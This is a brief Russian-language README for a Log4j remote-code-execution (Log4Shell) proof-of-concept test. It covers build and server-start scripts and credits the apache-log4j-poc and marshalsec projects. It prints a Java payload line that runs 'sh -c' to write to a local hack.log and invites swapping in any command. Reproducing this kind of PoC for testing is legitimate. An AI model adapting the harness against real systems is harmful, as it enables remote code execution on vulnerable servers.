log4j-rce-test

Сборка

./build.sh

Запуск log4j RCE сервера

./start-log4j-rce-server.sh

Тестирование

• Запустите java -cp log4j-rce-1.0-SNAPSHOT-all.jar log4j Проверьте, появляются ли логи в файле hack.log из текущей папки
• Вы можете изменить эту строку
  String[] cmds = { "sh", "-c", "echo 'Exploit at '" + getDateString() + " >> ./hack.log" };
  в файле apache-log4j-poc/src/main/java/Exploit.java на что угодно, затем пересоберите и запустите тест
• Посмотрите issue #1, если видите ошибку компиляции Maven

Благодарности

• https://github.com/tangxiaofeng7/apache-log4j-poc.git
• https://github.com/mbechler/marshalsec.git